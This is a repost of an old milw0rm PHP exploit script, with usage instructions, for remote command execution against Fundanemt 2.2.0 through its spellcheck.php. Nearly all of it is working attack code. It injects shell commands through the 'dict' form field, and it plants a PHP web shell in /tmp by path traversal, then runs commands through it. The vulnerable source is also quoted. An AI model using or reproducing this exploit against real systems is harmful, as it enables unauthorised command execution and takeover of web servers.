Exploit Fundanemt 2.2.0 - 'spellcheck.php' Remote Code Execution

Exploiter · 21 Дек 2022

PHP:

<?php
/*
Exploit Name:
Fundanemt <= 2.2.0 (spellcheck.php) Remote Code Execution Exploit

Autor: Kacper
Contact: [email protected]
Homepage: http://www.rahim.webd.pl/
Kacper Hacking & Security Blog: http://kacper.bblog.pl/
Irc: irc.milw0rm.com:6667 #devilteam 

Pozdro dla wszystkich z kanalu IRC oraz forum DEVIL TEAM.

Pozdrawiam pl.zone-h.org, a najbardziej demo, oraz cala ekipe Zone-H.Org  :)

script homepage/download/demo: http://www.fundanemt.org/
*/

if ($argc<4) {
    print_r('
---------------------------------------------------------------------------
Usage: php '.$argv[0].' host path cmd OPTIONS
host:      target server (ip/hostname)
path:      path to Fundanemt
cmd:       a shell command
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
Example:
php '.$argv[0].' localhost /Fundanemt/ ls -la
php '.$argv[0].' localhost /Fundanemt/ ls -la -P1.1.1.1:80
---------------------------------------------------------------------------
');
die;
}
error_reporting(7);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function wyslijpakiet($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}
$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy="";
$cmd="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>'-p') and ($temp<>'-P')) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'bad patch!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
/*
Bad code:
file spellcheck.php:
=============================================================================
<?php

$text= $_POST['text'];
$dict = $_POST['dict']; // <----------------------[^]
$showsource= $_GET['showsource'];

//
// file paths and the aspell command have moved down below line 58
//

if (trim($text)!="") {
    $showsource= 0;
    $sourceinfo= "";
    }

print "<html>
<head>
<title>$uripath</title>
<style type='text/css'>
    body { font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 18px; background-color: #ffffff;}
    table { font-family: Verdana, Geneva, sans-serif; font-size: 12px; }
    .heading { font-size: 12px; font-weight: bold; background-color: #666677; color: #dddddd; border: 1px; border-style: solid; }
    .oddrow { background-color: #ffffff; }
    .evenrow { background-color: #ffffff; }
</style>
</head>
<body>
";
// if text+check is supplied, first open and create $temptext, then spell check
if (trim($text)!="" && ($_POST['submit']=="check"  || $_POST['submit']=="check igen")) {
####### COFIG START ########    
    $temptext= tempnam("/tmp", "spelltext");
    
    // if you spellcheck alot of HTML, add the -H flag to aspell to put it in SGML mode
    $aspellcommand= "cat $temptext | /usr/bin/ispell -a -d$dict"; // <----------------------[^^]
    
    $indicator= "bold";
    $opener= "<b>";
    $closer= "</b>";
######## END OF CONFIG ##########

    if ($fd=fopen($temptext,"w")) {
        $textarray= explode("\n",$text);
        fwrite($fd,"!\n");
        foreach($textarray as $key=>$value) {
            // adding the carat to each line prevents the use of aspell commands within the text...
            fwrite($fd,"^$value\n");
            }
        fclose($fd);
        
        // run aspell
        $return= shell_exec($aspellcommand);  // <----------------------[^^^]
=============================================================================
nice code :)
                                                                                                                                                                                                                                                                                                                                                                                */
echo "Bug #1 (try insert poison file! work only when register globals = off)\n\n";
$paths=array("../../../../../../../../../tmp/",
             "../../../tmp/",
             "../../../../tmp/",
             "../../../../../tmp/",
             "../../../../../../tmp/",
             "../../../../../../../tmp/",
             "../../../../../../../../tmp/");
for ($i=0; $i<count($paths); $i++)
{echo "Insert poison file! - [".$i."]\n\n";
$my_path=urlencode($paths[$i]);
$data ="-----------------------------b04bc63706572\r\n";
$data.="Content-Disposition: form-data; name=\"text\";\r\n\r\n";
$data.="Owned_by_DEVIL_TEAM\r\n";
$data ="-----------------------------b04bc63706572\r\n";
$data.="Content-Disposition: form-data; name=\"dict\";\r\n\r\n";
$data.="Engelsk | echo ^<?php eval($_SERVER[HTTP_KACPER]);?^> > ".$my_path."hauru.php;\r\n";
$data ="-----------------------------b04bc63706572\r\n";
$data.="Content-Disposition: form-data; name=\"submit\";\r\n\r\n";
$data.="check\r\n";
$data.="-----------------------------b04bc63706572--\r\n";
$packet ="POST ".$p."core/spellcheck/spellcheck.php HTTP/1.0\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------b04bc63706572\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
wyslijpakiet($packet);
sleep(1);}
$paths=array("../../../../../../../../../tmp/",
             "../../../tmp/",
             "../../../../tmp/",
             "../../../../../tmp/",
             "../../../../../../tmp/",
             "../../../../../../../tmp/",
             "../../../../../../../../tmp/");
for ($i=0; $i<count($paths); $i++)
{echo "Run poison file! - [".$i."]\n\n";
$packet ="GET ".$p.$my_path."hauru.php HTTP/1.0\r\n";
$packet.="KACPER: error_reporting(E_ALL);set_time_limit(0);echo \"_hauru_\";passthru(\$_SERVER[HTTP_KOMENDY]);echo \"_hauru_\";\r\n";
$packet.="KOMENDY: $cmd\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
wyslijpakiet($packet,1);
$out=explode("_hauru_",$html);
echo $out[1];
sleep(1);}
echo "Try execute you command: ".$cmd."\n\n";
echo "Bug #2\n\n";
$data ="-----------------------------b04bc63706572\r\n";
$data.="Content-Disposition: form-data; name=\"text\";\r\n\r\n";
$data.="Owned_by_DEVIL_TEAM\r\n";
$data ="-----------------------------b04bc63706572\r\n";
$data.="Content-Disposition: form-data; name=\"dict\";\r\n\r\n";
$data.="Engelsk | echo ^hauru^; ".$cmd."; echo ^hauru^;\r\n";
$data ="-----------------------------b04bc63706572\r\n";
$data.="Content-Disposition: form-data; name=\"submit\";\r\n\r\n";
$data.="check\r\n";
$data.="-----------------------------b04bc63706572--\r\n";
$packet ="POST ".$p."core/spellcheck/spellcheck.php HTTP/1.0\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------b04bc63706572\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
wyslijpakiet($packet);
if (eregi("Cannot set time limit in safe mode",$html))
{echo "Exploit works, but safe mode = on\n";}
elseif (eregi("hauru",$html)){
$temp=explode("hauru",$html);
echo $temp[1];}
else{echo "exploit dont work... check phpinfo()...\n";}
?>

# milw0rm.com [2007-05-27]

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Exploit Fundanemt 2.2.0 - 'spellcheck.php' Remote Code Execution

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